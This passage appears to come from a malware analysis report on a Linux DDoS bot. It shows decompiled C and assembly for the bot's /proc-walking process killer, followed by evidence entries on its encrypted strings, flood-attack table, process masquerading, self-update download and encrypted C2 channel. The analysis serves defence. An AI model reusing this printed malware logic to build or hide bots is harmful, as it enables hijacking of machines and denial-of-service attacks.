              ((cVar1 = FUN_004155be(auStack_5038), cVar1 == '\0' &&
               ((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)))))) ||
             ((iVar3 = FUN_00415a81(lVar4), iVar3 != 0 ||
              (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                  (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
                 ((lVar5 = FUN_00415059(auStack_5038,0x1ac), lVar5 != 0 ||
                  (lVar5 = FUN_00415059(auStack_5038,0x1ad), lVar5 != 0)))) &&
                ((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                 (iVar3 = FUN_00415e25(lVar4), iVar3 != 0)))) ||
               ((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                (iVar3 = FUN_00415e25(lVar4), iVar3 != 0)))))))) ||
            (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
               (cVar1 = FUN_004155be(auStack_5038), cVar1 == '\0')) &&
              (cVar1 = FUN_00415e18(auStack_5038), cVar1 != '\x01')) &&
             (((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
               (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
              (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')))))))) {
          iVar3 = FUN_00415c41(uVar2);
          if ((iVar6 < 0x1000) && (iVar3 != 0)) {
            lVar4 = (long)iVar6;
            iVar6 = iVar6 + 1;
            auStack_4038[lVar4] = uVar2;
          }
        }
        else {
          FUN_0041509f(uVar2);
        }
      }
    }
  }
  for (lVar4 = 0; (int)lVar4 < iVar6; lVar4 = lVar4 + 1) {
    uVar2 = auStack_4038[lVar4];
    cVar1 = FUN_00415980(uVar2);
    if (cVar1 == '\0') {
      FUN_0041c083(uVar2,9);
      FUN_0041509f(uVar2);
    }
  }
  return;
}

Assembly · 213 instructions, 0 annotated

Address	Bytes	Instruction
00415fc6	41 57	PUSH R15
00415fc8	41 56	PUSH R14
00415fca	41 55	PUSH R13
00415fcc	4c 8d 2d 8d 3e 22 00	LEA R13,[DAT_00639e60]
00415fd3	41 54	PUSH R12
00415fd5	49 89 fc	MOV R12,RDI
00415fd8	55	PUSH RBP
00415fd9	53	PUSH RBX
00415fda	31 db	XOR EBX,EBX
00415fdc	48 81 ec 08 50 00 00	SUB RSP,0x5008
00415fe3	e8 5b 18 00 00	CALL FUN_00417843
LAB_00415fe8:
00415fe8	4c 89 e7	MOV RDI,R12
00415feb	e8 ed 17 00 00	CALL FUN_004177dd
00415ff0	48 85 c0	TEST RAX,RAX
00415ff3	0f 84 2c 02 00 00	JZ LAB_00416225
00415ff9	8a 48 13	MOV CL,byte ptr [RAX + 0x13]
00415ffc	8d 51 d0	LEA EDX,[RCX + -0x30]
00415fff	80 fa 09	CMP DL,0x9
00416002	77 e4	JA LAB_00415fe8
00416004	48 8d 68 13	LEA RBP,[RAX + 0x13]
00416008	48 89 ef	MOV RDI,RBP
0041600b	e8 6f 70 ff ff	CALL FUN_0040d07f
00416010	41 89 c7	MOV R15D,EAX
00416013	83 f8 01	CMP EAX,0x1
00416016	7e d0	JLE LAB_00415fe8
00416018	8d 40 ff	LEA EAX,[RAX + -0x1]
0041601b	3d fe ff 3f 00	CMP EAX,0x3ffffe
00416020	77 19	JA LAB_0041603b
00416022	44 89 f8	MOV EAX,R15D
00416025	c1 f8 03	SAR EAX,0x3
00416028	48 98	CDQE
0041602a	41 0f b6 54 05 00	MOVZX EDX,byte ptr [R13 + RAX*0x1]
00416030	44 89 f8	MOV EAX,R15D
00416033	83 e0 07	AND EAX,0x7
00416036	0f a3 c2	BT EDX,EAX
00416039	72 ad	JC LAB_00415fe8
LAB_0041603b:
0041603b	44 89 ff	MOV EDI,R15D
0041603e	e8 9e f7 ff ff	CALL FUN_004157e1
00416043	84 c0	TEST AL,AL
00416045	0f 85 cd 01 00 00	JNZ LAB_00416218
0041604b	8b 05 df 59 21 00	MOV EAX,dword ptr [DAT_0062ba30]
00416051	44 39 f8	CMP EAX,R15D
00416054	75 08	JNZ LAB_0041605e
00416056	85 c0	TEST EAX,EAX
00416058	0f 8f ba 01 00 00	JG LAB_00416218
LAB_0041605e:
0041605e	8b 05 d0 59 21 00	MOV EAX,dword ptr [DAT_0062ba34]
00416064	44 39 f8	CMP EAX,R15D
00416067	75 08	JNZ LAB_00416071
00416069	85 c0	TEST EAX,EAX
0041606b	0f 8f a7 01 00 00	JG LAB_00416218
LAB_00416071:
00416071	49 89 e6	MOV R14,RSP
00416074	48 89 ef	MOV RDI,RBP
00416077	4c 89 f6	MOV RSI,R14
0041607a	e8 c6 f1 ff ff	CALL FUN_00415245
0041607f	85 c0	TEST EAX,EAX
00416081	0f 84 91 01 00 00	JZ LAB_00416218
00416087	4c 89 f7	MOV RDI,R14
0041608a	e8 38 f0 ff ff	CALL FUN_004150c7
0041608f	85 c0	TEST EAX,EAX
00416091	75 4c	JNZ LAB_004160df
00416093	4c 89 f7	MOV RDI,R14
00416096	e8 ee ef ff ff	CALL FUN_00415089
0041609b	85 c0	TEST EAX,EAX
0041609d	75 40	JNZ LAB_004160df
0041609f	4c 89 f7	MOV RDI,R14
004160a2	e8 8e f3 ff ff	CALL FUN_00415435
004160a7	84 c0	TEST AL,AL
004160a9	75 34	JNZ LAB_004160df
004160ab	be ac 01 00 00	MOV ESI,0x1ac
004160b0	4c 89 f7	MOV RDI,R14
004160b3	e8 a1 ef ff ff	CALL FUN_00415059
004160b8	48 85 c0	TEST RAX,RAX
004160bb	75 22	JNZ LAB_004160df
004160bd	be ad 01 00 00	MOV ESI,0x1ad
004160c2	4c 89 f7	MOV RDI,R14
004160c5	e8 8f ef ff ff	CALL FUN_00415059
004160ca	48 85 c0	TEST RAX,RAX
004160cd	75 10	JNZ LAB_004160df
004160cf	48 89 ef	MOV RDI,RBP
004160d2	e8 aa f9 ff ff	CALL FUN_00415a81
004160d7	85 c0	TEST EAX,EAX
004160d9	0f 84 39 01 00 00	JZ LAB_00416218
LAB_004160df:
004160df	44 89 ff	MOV EDI,R15D
004160e2	e8 99 f8 ff ff	CALL FUN_00415980
004160e7	84 c0	TEST AL,AL
004160e9	0f 85 29 01 00 00	JNZ LAB_00416218
004160ef	48 89 ef	MOV RDI,RBP
004160f2	e8 cc f8 ff ff	CALL FUN_004159c3
004160f7	84 c0	TEST AL,AL
004160f9	75 3b	JNZ LAB_00416136
004160fb	4c 89 f6	MOV RSI,R14
004160fe	48 89 ef	MOV RDI,RBP
00416101	e8 3f f1 ff ff	CALL FUN_00415245
00416106	85 c0	TEST EAX,EAX
00416108	74 2c	JZ LAB_00416136
0041610a	4c 89 f7	MOV RDI,R14
0041610d	e8 ac f4 ff ff	CALL FUN_004155be
00416112	84 c0	TEST AL,AL
00416114	75 20	JNZ LAB_00416136
00416116	4c 89 f7	MOV RDI,R14
00416119	e8 a9 ef ff ff	CALL FUN_004150c7
0041611e	85 c0	TEST EAX,EAX
00416120	0f 85 33 01 00 00	JNZ LAB_00416259
00416126	4c 89 f7	MOV RDI,R14
00416129	e8 5b ef ff ff	CALL FUN_00415089
0041612e	85 c0	TEST EAX,EAX
00416130	0f 85 23 01 00 00	JNZ LAB_00416259
LAB_00416136:
00416136	48 89 ef	MOV RDI,RBP
00416139	e8 43 f9 ff ff	CALL FUN_00415a81
0041613e	85 c0	TEST EAX,EAX
00416140	0f 85 13 01 00 00	JNZ LAB_00416259
00416146	48 89 ef	MOV RDI,RBP
00416149	e8 75 f8 ff ff	CALL FUN_004159c3
0041614e	84 c0	TEST AL,AL
00416150	75 4f	JNZ LAB_004161a1
00416152	4c 89 f6	MOV RSI,R14
00416155	48 89 ef	MOV RDI,RBP
00416158	e8 e8 f0 ff ff	CALL FUN_00415245
0041615d	85 c0	TEST EAX,EAX
0041615f	74 40	JZ LAB_004161a1
00416161	be ac 01 00 00	MOV ESI,0x1ac
00416166	4c 89 f7	MOV RDI,R14
00416169	e8 eb ee ff ff	CALL FUN_00415059
0041616e	48 85 c0	TEST RAX,RAX
00416171	75 12	JNZ LAB_00416185
00416173	be ad 01 00 00	MOV ESI,0x1ad
00416178	4c 89 f7	MOV RDI,R14
0041617b	e8 d9 ee ff ff	CALL FUN_00415059
00416180	48 85 c0	TEST RAX,RAX
00416183	74 1c	JZ LAB_004161a1
LAB_00416185:
00416185	48 89 ef	MOV RDI,RBP
00416188	e8 36 f8 ff ff	CALL FUN_004159c3
0041618d	84 c0	TEST AL,AL
0041618f	75 10	JNZ LAB_004161a1
00416191	48 89 ef	MOV RDI,RBP
00416194	e8 8c fc ff ff	CALL FUN_00415e25
00416199	85 c0	TEST EAX,EAX
0041619b	0f 85 b8 00 00 00	JNZ LAB_00416259
LAB_004161a1:
004161a1	48 89 ef	MOV RDI,RBP
004161a4	e8 1a f8 ff ff	CALL FUN_004159c3
004161a9	84 c0	TEST AL,AL
004161ab	74 0e	JZ LAB_004161bb
LAB_004161ad:
004161ad	48 89 ef	MOV RDI,RBP
004161b0	e8 0e f8 ff ff	CALL FUN_004159c3
004161b5	84 c0	TEST AL,AL
004161b7	75 5f	JNZ LAB_00416218
004161b9	eb 12	JMP LAB_004161cd
LAB_004161bb:
004161bb	48 89 ef	MOV RDI,RBP
004161be	e8 62 fc ff ff	CALL FUN_00415e25
004161c3	85 c0	TEST EAX,EAX
004161c5	0f 85 8e 00 00 00	JNZ LAB_00416259
004161cb	eb e0	JMP LAB_004161ad
LAB_004161cd:
004161cd	4c 89 f6	MOV RSI,R14
004161d0	48 89 ef	MOV RDI,RBP
004161d3	e8 6d f0 ff ff	CALL FUN_00415245
004161d8	85 c0	TEST EAX,EAX
004161da	74 3c	JZ LAB_00416218
004161dc	4c 89 f7	MOV RDI,R14
004161df	e8 da f3 ff ff	CALL FUN_004155be
004161e4	84 c0	TEST AL,AL
004161e6	75 30	JNZ LAB_00416218
004161e8	4c 89 f7	MOV RDI,R14
004161eb	e8 28 fc ff ff	CALL FUN_00415e18
004161f0	fe c8	DEC AL
004161f2	74 24	JZ LAB_00416218
004161f4	4c 89 f7	MOV RDI,R14
004161f7	e8 cb ee ff ff	CALL FUN_004150c7
004161fc	85 c0	TEST EAX,EAX
004161fe	75 59	JNZ LAB_00416259
00416200	4c 89 f7	MOV RDI,R14
00416203	e8 81 ee ff ff	CALL FUN_00415089
00416208	85 c0	TEST EAX,EAX
0041620a	75 4d	JNZ LAB_00416259
0041620c	4c 89 f7	MOV RDI,R14
0041620f	e8 21 f2 ff ff	CALL FUN_00415435
00416214	84 c0	TEST AL,AL
00416216	75 41	JNZ LAB_00416259
LAB_00416218:
00416218	44 89 ff	MOV EDI,R15D
0041621b	e8 7f ee ff ff	CALL FUN_0041509f
00416220	e9 c3 fd ff ff	JMP LAB_00415fe8
LAB_00416225:
00416225	31 ed	XOR EBP,EBP
LAB_00416227:
00416227	39 eb	CMP EBX,EBP
00416229	7e 5c	JLE LAB_00416287
0041622b	44 8b a4 ac 00 10 00 00	MOV R12D,dword ptr [RSP + RBP*0x4 + local_4034]
00416233	44 89 e7	MOV EDI,R12D
00416236	e8 45 f7 ff ff	CALL FUN_00415980
0041623b	84 c0	TEST AL,AL
0041623d	75 15	JNZ LAB_00416254
0041623f	44 89 e7	MOV EDI,R12D
00416242	be 09 00 00 00	MOV ESI,0x9
00416247	e8 37 5e 00 00	CALL FUN_0041c083
0041624c	44 89 e7	MOV EDI,R12D
0041624f	e8 4b ee ff ff	CALL FUN_0041509f
LAB_00416254:
00416254	48 ff c5	INC RBP
00416257	eb ce	JMP LAB_00416227
LAB_00416259:
00416259	44 89 ff	MOV EDI,R15D
0041625c	e8 e0 f9 ff ff	CALL FUN_00415c41
00416261	81 fb ff 0f 00 00	CMP EBX,0xfff
00416267	0f 8f 7b fd ff ff	JG LAB_00415fe8
0041626d	85 c0	TEST EAX,EAX
0041626f	0f 84 73 fd ff ff	JZ LAB_00415fe8
00416275	48 63 c3	MOVSXD RAX,EBX
00416278	ff c3	INC EBX
0041627a	44 89 bc 84 00 10 00 00	MOV dword ptr [RSP + RAX*0x4 + 0x1000],R15D
00416282	e9 61 fd ff ff	JMP LAB_00415fe8
LAB_00416287:
00416287	48 81 c4 08 50 00 00	ADD RSP,0x5008
0041628e	5b	POP RBX
0041628f	5d	POP RBP
00416290	41 5c	POP R12
00416292	41 5d	POP R13
00416294	41 5e	POP R14
00416296	41 5f	POP R15
00416298	c3	RET

/proc walker with readlink

0x41720d502 bytes

undefined FUN_0041720d()

/proc walker with readlink (syscall profile)

Cited as: E19
Behaviours: B5, B10
Called from: FUN_00417403
Calls: FUN_0040d011, FUN_0040d01d, FUN_0040d040, FUN_0040d07f, FUN_0040d09b, thunk_FUN_0040d152, FUN_00415980, FUN_00416635, FUN_004166ba, FUN_004177dd, FUN_00417dc5, FUN_0041db41, FUN_0041dc97, FUN_0041dc9f, FUN_0041dcd6, FUN_0041dd01

Decompiled C · 67 lines

void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
  iVar3 = FUN_00417dc5(local_138,0);
  if (iVar3 == -1) {
LAB_004172cc:
    local_338[0] = '\0';
  }
  else {
    FUN_0040d011(local_338,0,0x100);
    lVar6 = FUN_0041dcd6(iVar3,local_338,0xff);
    FUN_0041db41(iVar3);
    if (lVar6 < 1) goto LAB_004172cc;
    for (pcVar5 = local_338; pcVar5 != local_338 + lVar6; pcVar5 = pcVar5 + 1) {
      if (*pcVar5 == '\0') {
        *pcVar5 = ' ';
      }
    }
    local_338[lVar6] = '\0';
  }
  iVar3 = FUN_004166ba(lVar4,local_338,1);
  if (iVar3 != 1) goto code_r0x00417341;
  goto LAB_004173e4;
code_r0x00417341:
  if (iVar3 != 0) {
    thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d01d(local_138,lVar4);
    FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xd10));
    lVar6 = FUN_0041dd01(local_138,local_238,0xff);
    if (((0 < lVar6) &&
        ((local_238[lVar6] = 0, DAT_006bbea0 == '\0' ||
         (iVar3 = FUN_0040d040(local_238,&DAT_006bbea0), iVar3 != 0)))) &&
       (iVar3 = FUN_004166ba(lVar4,local_238,0), iVar3 == 1)) {
LAB_004173e4:
      FUN_00416635(iVar2);
    }
  }
  goto LAB_00417221;
}

Assembly · 133 instructions, 0 annotated

Address	Bytes	Instruction
0041720d	41 57	PUSH R15
0041720f	41 56	PUSH R14
00417211	41 55	PUSH R13
00417213	41 54	PUSH R12
00417215	55	PUSH RBP
00417216	53	PUSH RBX
00417217	48 89 fb	MOV RBX,RDI
0041721a	48 81 ec 18 03 00 00	SUB RSP,0x318
LAB_00417221:
00417221	48 89 df	MOV RDI,RBX
00417224	e8 b4 05 00 00	CALL FUN_004177dd
00417229	48 89 c5	MOV RBP,RAX
0041722c	48 85 c0	TEST RAX,RAX
0041722f	0f 84 bc 01 00 00	JZ LAB_004173f1
00417235	0f be 7d 13	MOVSX EDI,byte ptr [RBP + 0x13]
00417239	e8 5d 5e ff ff	CALL FUN_0040d09b
0041723e	85 c0	TEST EAX,EAX
00417240	74 df	JZ LAB_00417221
00417242	48 83 c5 13	ADD RBP,0x13
00417246	48 89 ef	MOV RDI,RBP
00417249	e8 31 5e ff ff	CALL FUN_0040d07f
0041724e	41 89 c4	MOV R12D,EAX
00417251	85 c0	TEST EAX,EAX
00417253	7e cc	JLE LAB_00417221
00417255	89 c7	MOV EDI,EAX
00417257	e8 24 e7 ff ff	CALL FUN_00415980
0041725c	84 c0	TEST AL,AL
0041725e	75 c1	JNZ LAB_00417221
00417260	e8 32 6a 00 00	CALL FUN_0041dc97
00417265	44 39 e0	CMP EAX,R12D
00417268	74 b7	JZ LAB_00417221
0041726a	e8 30 6a 00 00	CALL FUN_0041dc9f
0041726f	44 39 e0	CMP EAX,R12D
00417272	74 ad	JZ LAB_00417221
00417274	48 8b 05 75 74 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
0041727b	4c 8d b4 24 10 02 00 00	LEA R14,[RSP + 0x210]
00417283	4c 8d 6c 24 10	LEA R13,[RSP + 0x10]
00417288	4c 89 f7	MOV RDI,R14
0041728b	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
00417292	e8 dc 5e ff ff	CALL thunk_FUN_0040d152
00417297	48 89 ee	MOV RSI,RBP
0041729a	4c 89 f7	MOV RDI,R14
0041729d	e8 7b 5d ff ff	CALL FUN_0040d01d
004172a2	48 8b 05 47 74 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
004172a9	4c 89 f7	MOV RDI,R14
004172ac	48 8b b0 a0 10 00 00	MOV RSI,qword ptr [RAX + 0x10a0]
004172b3	e8 65 5d ff ff	CALL FUN_0040d01d
004172b8	31 f6	XOR ESI,ESI
004172ba	31 c0	XOR EAX,EAX
004172bc	4c 89 f7	MOV RDI,R14
004172bf	e8 01 0b 00 00	CALL FUN_00417dc5
004172c4	83 f8 ff	CMP EAX,-0x1
004172c7	41 89 c7	MOV R15D,EAX
004172ca	75 07	JNZ LAB_004172d3
LAB_004172cc:
004172cc	c6 44 24 10 00	MOV byte ptr [RSP + local_338],0x0
004172d1	eb 55	JMP LAB_00417328
LAB_004172d3:
004172d3	ba 00 01 00 00	MOV EDX,0x100
004172d8	31 f6	XOR ESI,ESI
004172da	4c 89 ef	MOV RDI,R13
004172dd	e8 2f 5d ff ff	CALL FUN_0040d011
004172e2	ba ff 00 00 00	MOV EDX,0xff
004172e7	4c 89 ee	MOV RSI,R13
004172ea	44 89 ff	MOV EDI,R15D
004172ed	e8 e4 69 00 00	CALL FUN_0041dcd6
004172f2	44 89 ff	MOV EDI,R15D
004172f5	48 89 44 24 08	MOV qword ptr [RSP + local_340],RAX
004172fa	e8 42 68 00 00	CALL FUN_0041db41
004172ff	48 8b 54 24 08	MOV RDX,qword ptr [RSP + local_340]
00417304	48 85 d2	TEST RDX,RDX
00417307	7e c3	JLE LAB_004172cc
00417309	4c 89 e8	MOV RAX,R13
0041730c	49 8d 4c 15 00	LEA RCX,[R13 + RDX*0x1]
LAB_00417311:
00417311	48 39 c8	CMP RAX,RCX
00417314	74 0d	JZ LAB_00417323
00417316	80 38 00	CMP byte ptr [RAX],0x0
00417319	75 03	JNZ LAB_0041731e
0041731b	c6 00 20	MOV byte ptr [RAX],0x20
LAB_0041731e:
0041731e	48 ff c0	INC RAX
00417321	eb ee	JMP LAB_00417311
LAB_00417323:
00417323	c6 44 14 10 00	MOV byte ptr [RSP + RDX*0x1 + 0x10],0x0
LAB_00417328:
00417328	ba 01 00 00 00	MOV EDX,0x1
0041732d	4c 89 ee	MOV RSI,R13
00417330	48 89 ef	MOV RDI,RBP
00417333	e8 82 f3 ff ff	CALL FUN_004166ba
00417338	83 f8 01	CMP EAX,0x1
0041733b	0f 84 a3 00 00 00	JZ LAB_004173e4
00417341	85 c0	TEST EAX,EAX
00417343	0f 84 d8 fe ff ff	JZ LAB_00417221
00417349	48 8b 05 a0 73 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00417350	4c 89 f7	MOV RDI,R14
00417353	4c 8d bc 24 10 01 00 00	LEA R15,[RSP + 0x110]
0041735b	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
00417362	e8 0c 5e ff ff	CALL thunk_FUN_0040d152
00417367	48 89 ee	MOV RSI,RBP
0041736a	4c 89 f7	MOV RDI,R14
0041736d	e8 ab 5c ff ff	CALL FUN_0040d01d
00417372	48 8b 05 77 73 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00417379	4c 89 f7	MOV RDI,R14
0041737c	48 8b b0 10 0d 00 00	MOV RSI,qword ptr [RAX + 0xd10]
00417383	e8 95 5c ff ff	CALL FUN_0040d01d
00417388	ba ff 00 00 00	MOV EDX,0xff
0041738d	4c 89 fe	MOV RSI,R15
00417390	4c 89 f7	MOV RDI,R14
00417393	e8 69 69 00 00	CALL FUN_0041dd01
00417398	48 85 c0	TEST RAX,RAX
0041739b	0f 8e 80 fe ff ff	JLE LAB_00417221
004173a1	c6 84 04 10 01 00 00 00	MOV byte ptr [RSP + RAX*0x1 + 0x110],0x0
004173a9	48 8d 05 f0 4a 2a 00	LEA RAX,[DAT_006bbea0]
004173b0	80 38 00	CMP byte ptr [RAX],0x0
004173b3	75 17	JNZ LAB_004173cc
LAB_004173b5:
004173b5	31 d2	XOR EDX,EDX
004173b7	4c 89 fe	MOV RSI,R15
004173ba	48 89 ef	MOV RDI,RBP
004173bd	e8 f8 f2 ff ff	CALL FUN_004166ba
004173c2	ff c8	DEC EAX
004173c4	0f 85 57 fe ff ff	JNZ LAB_00417221
004173ca	eb 18	JMP LAB_004173e4
LAB_004173cc:
004173cc	48 8d 35 cd 4a 2a 00	LEA RSI,[DAT_006bbea0]
004173d3	4c 89 ff	MOV RDI,R15
004173d6	e8 65 5c ff ff	CALL FUN_0040d040
004173db	85 c0	TEST EAX,EAX
004173dd	75 d6	JNZ LAB_004173b5
004173df	e9 3d fe ff ff	JMP LAB_00417221
LAB_004173e4:
004173e4	44 89 e7	MOV EDI,R12D
004173e7	e8 49 f2 ff ff	CALL FUN_00416635
004173ec	e9 30 fe ff ff	JMP LAB_00417221
LAB_004173f1:
004173f1	48 81 c4 18 03 00 00	ADD RSP,0x318
004173f8	5b	POP RBX
004173f9	5d	POP RBP
004173fa	41 5c	POP R12
004173fc	41 5d	POP R13
004173fe	41 5e	POP R14
00417400	41 5f	POP R15
00417402	c3	RET

Cited addresses with no code to decompile: 0x426f20 (not executable (.rodata)), 0x4287e0 (not executable (.rodata)), 0x62b000 (not executable (.data)), 0x62b9e8 (not executable (.data))

Evidence 37

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

Filter

read from the file·function

0x4001d0

in main

tool ghidra 12.1.4 decompbytes sha256 31be376a9ff08d8f7bb3bb0b7df2596673cb5c5a75c5c52506e58ddb0a75f0d3

read from the file·function

0x40dba0

string-store init: allocates 0x1dc 16-byte slots at *0x62e6f0 and adds 473 entries via 0x40d8fa(id, src, len); a second small table at 0x62e640 is filled via 0x40dae1; 0x40c607(id) is the accessor

in fills the 476-slot string store with…, copies one store entry into its slot…, adds and decrypts an entry of the…, returns the decrypted store entry for a…

tool ghidra 12.1.4 decompbytes sha256 a936eca2d042c500a46938c04091127343d26172908e45c47c5bffc277d4a82d

read from the file·function

0x40d6c6

in chaCha20 stream cipher, used for the…

tool ghidra 12.1.4 decompbytes sha256 399d82c4e27cd53f2d46986972b9bfbf6a702f6cc04df5060360046d4b6f1c6e

read from the file·address range

0x426f20

16 bytes in .rodata XOR-0xa5 encoded: the cipher constant read by 0x40d6c6

bytes sha256 fd28b395c478f3071f8f2383ecbe527a6a24b120842f128e6f94eb0cf118c200

read from the file·address range

0x62b9e8

initialised .data holding the 12-byte nonce (0x62b9e8) and 32-byte key (0x62ba00) of the string-store cipher

bytes sha256 0d6eaee8281d1f9416d50472ab2104a7064c33c313968be3fcb1cd993f736cf8

read from the file·function

0x400f7d

in parses an attack command, kills every tracked child pid except…

tool ghidra 12.1.4 decompbytes sha256 9c96cfad0ef173b7e295bb70f1787ef0af5a5b0a0d37d589400d0ea04ba2f363

read from the file·function

0x400d2b

in forks the attack worker and calls the…

tool ghidra 12.1.4 decompbytes sha256 5d6af5b3661aca22ba06c9b1c6e32bbe0c0368dd8928b92f455938df0dbbcc5b

read from the file·address range

0x62b000

attack-method table: 24 records, ids 0..23, every pointer a user-code function (list in out/L0/method_table.json); 18 of the 24 targets create sockets and send, several bind raw/UDP sockets

bytes sha256 83ce5413c96aeeb489b5d57ac7b3bf0f77288838639a01acc52eb1413e3a113d

read from the file·function

0x412d78

in single-instance lock on a loopback TCP…

tool ghidra 12.1.4 decompbytes sha256 49ea10cd2849103dd05b1b938569cfa4b84bf330ceb2f3b37669648892f43621

E10

read from the file·function

0x40d3e8

local-address discovery: UDP socket connect to a public resolver address on port 53 then getsockname

in local address via UDP connect to a…

tool ghidra 12.1.4 decompbytes sha256 9f6e5cdce1af5280cc1db155a4291fa747d5356638eee3345657db6f41ee6a6e

E11

read from the file·function set

["0x414dca", "0x4139d0"]

process masquerade: when root, prctl(PR_SET_DUMPABLE,0) and prctl(PR_SET_NAME) to one of 8 store names (slots 0xe7-0xee) picked at random; argv[0] overwritten with a store name padded with spaces

in as root, sets non-dumpable and a random…, overwrites argv[0] with a store process…

tool ghidra 12.1.4 decompbytes sha256 45b6971d0815bcf78e81bd411db89a0c544dfc58bdbe234b0f2355a3ee902459

E12

read from the file·function set

["0x41479d", "0x414879"]

in bind-mounts a donor /proc/<pid> over…, finds a donor process in /proc by store…

tool ghidra 12.1.4 decompbytes sha256 ca73812ee94c72901ac0a8597237fba5ef3bf7c7a51b2cc79bf446a7bb35767e

E13

read from the file·function set

["0x40c42a", "0x40b89c"]

self-update on command 0xfe: 0x40b89c connects, sends a request and writes the response to a file path from the store, chmod 0755, execve it with a store-supplied argv[0]

in self-update, downloads a file over a TCP request and…

tool ghidra 12.1.4 decompbytes sha256 9ec1f9b23a37540a99e9ae1b229589944b7918f1c9a5cad25e8be35a2d659750

E14

read from the file·function

0x4132d0

C2 registration after connect: collects CPU count (store-named proc file, sysconf 0x54 fallback), memory size (sysconf 0x55 x 0x1e), uname, euid and rlimits and sends them with the bot id string

in builds the registration record with…

tool ghidra 12.1.4 decompbytes sha256 2cb41ccab18b7ad9b0f12552e683752a0dd0c2e42d32f802f796049f5ef7a9a9

E15

read from the file·function set

["0x411ca1", "0x41215b", "0x4120f1", "0x412010"]

in C2 session handshake state step, receives and de-frames C2 messages in…, sends a framed C2 message in session…, checks header type, length and sequence…

tool ghidra 12.1.4 decompbytes sha256 5e6d39117b97201b9d7db1fad835c99afe2dcf22c8706cae7f9bc9f10b9d7d28

E16

reported by a tool·function set

["0x411361", "0x411a32", "0x412385", "0x411824", "0x412677"]

capa: Curve25519 (matches at 0x411361, 0x411a92, 0x412488, in functions 0x411361, 0x411a32, 0x412385) and HMAC (0x411824, 0x412677) in the C2 channel code range 0x410c5b-0x412700

in derives the C2 peer X25519 public key…, C2 session hello, unknown, unknown, unknown

tool capa 9.4.0capa rule encrypt data using Curve25519; authenticate HMACbytes sha256 8aefd3a7684e87414d029a85ba74cb881d447400109bd84537354447bebeb7f0

E17

read from the file·function

0x414193

C2 resolver: dotted-quad parse, else getaddrinfo, else own DNS queries to an 18-entry resolver table at 0x428860

in resolves the C2 name

tool ghidra 12.1.4 decompbytes sha256 5ad2529840b66fd144786d35402369df8c39b0e8834ca78e3d421367ce5c0e48

E18

read from the file·analysis output

out/L0/resolver_table.json

the 18 resolver addresses at VA 0x428860 (file offset 0x28860), 18 distinct

control {"check": "18 distinct well-formed IPv4 from 72 bytes, byte order per bswap+htonl at 0x414193", "passed": true}bytes sha256 319d86e48196454700541470df764a13e2f92e38a1895a4ba1986b78fb47039e

E19

read from the file·analysis output

out/L0/fn_syscalls.json

in /proc walker that kills matching…, /proc walker with readlink and kill, /proc walker with readlink

bytes sha256 070a263ad6363d41148d4641ec76be221c2cf735ab9f9c3cac59f600215c8a2f

E20

read from the file·function

0x40d2bf

runs a program with pipe+fork+dup2+execve and reads its stdout into a caller buffer

in runs a program through pipe/fork/execve…

tool ghidra 12.1.4 decompbytes sha256 f54d93dfdb6bb406da2eee7a80e8ef0cac6e7fa140c367c4b48d4537d4ec97a1

E21

read from the file·file header

ELF64 x86-64 ET_EXEC static, no PT_INTERP, no dynamic symbols, 546 functions

file form from out/digest.json and out/L0/ghidra_callgraph.summary.json

E22

decoded by the analysis·analysis output

out/L0/strtable/strings.json

depends on ["E3", "E5"]control {"check": "printable ratio 1.0 on every accepted site; 3 wrong-parameter variants accepted 0 sites (out/L0/strtable/controls.json)", "passed": true, "detail": {"decoded": 461, "tried": 484, "c3_wrong_variants_tried": 3, "c3_accepted": 0}}bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d

E23

read from the file·analysis output

out/L0/strtable/census.json

484 store setter sites: 473 calls to 0x40d8fa (table T1) and 11 to 0x40dae1 (table T2), 5412 encrypted bytes, 0 unresolved

bytes sha256 a96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926ac

E24

decoded by the analysis·analysis output

out/L0/store_hosts.json

depends on ["E22"]bytes sha256 0b57e2fb7b838ab1164e634588377f90d4bfeb600200c7a9f4325e2ee36d039f

E25

decoded by the analysis·analysis output

out/L0/strtable/strings.json

